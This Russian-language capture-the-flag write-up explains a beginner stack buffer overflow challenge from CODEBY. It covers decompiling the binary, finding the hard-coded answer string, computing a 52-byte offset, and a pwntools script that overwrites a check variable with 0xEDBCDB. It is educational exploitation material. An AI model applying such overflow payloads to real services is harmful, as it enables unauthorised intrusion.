CODEBY Writeup. BOF. Обратная сторона Луны
МихаилПолезная информация по ИБ и разборы задачек CTF.
Обучающие статьи по PWN - Изучение PWN #1.

Запускаем файл задания, видим ascii-графику с изображенеим Луны и предложением ввести свое предположение о том, что же находится на темной стороне Луны.
Запускаем IDA, переходим к декомпилированному коду:

Видим, что наше предположение о том, что находится на обратной стороне Луны сравнивается с переменной true_answer, в которой находится строка CODEBY_Secret_Base:

Дальше нам предлагается ввести секретный ключ, который записывается в переменную str, после чего значение переменной secret сравнивается с 0xEDBCDB. Значит, эту переменную нам и нужно перезаписать, найдем смещение адреса переменной secret относительно переменной str, в которую мы записываем наш ответ:
0x4054-0x4020 = 0x34 = 52
Все готово для написания эксплоита:
from pwn import *
server_ip = "SERVER_IP"
server_port = SERVER_PORT
def main():
# Подключение к серверу
conn = remote(server_ip, server_port)
conn.recvuntil('moon...'.encode())
conn.recvuntil('Enter your thoughts:'.encode(), timeout = 5)
conn.sendline(b'CODEBY_Secret_Base')
conn.recvuntil(b'Now tell me the secret key: ', timeout = 5)
target_value = 0xEDBCDB
payload = b'a' * 52 + p32(target_value)
conn.sendline(payload)
conn.interactive()
if __name__ == "__main__":
main()
Обращаем внимание, что переменная secret имеет тип int, поэтому мы используем p32 для приведения нашего значения к нужному формату.
Запускаем и получаем флаг:
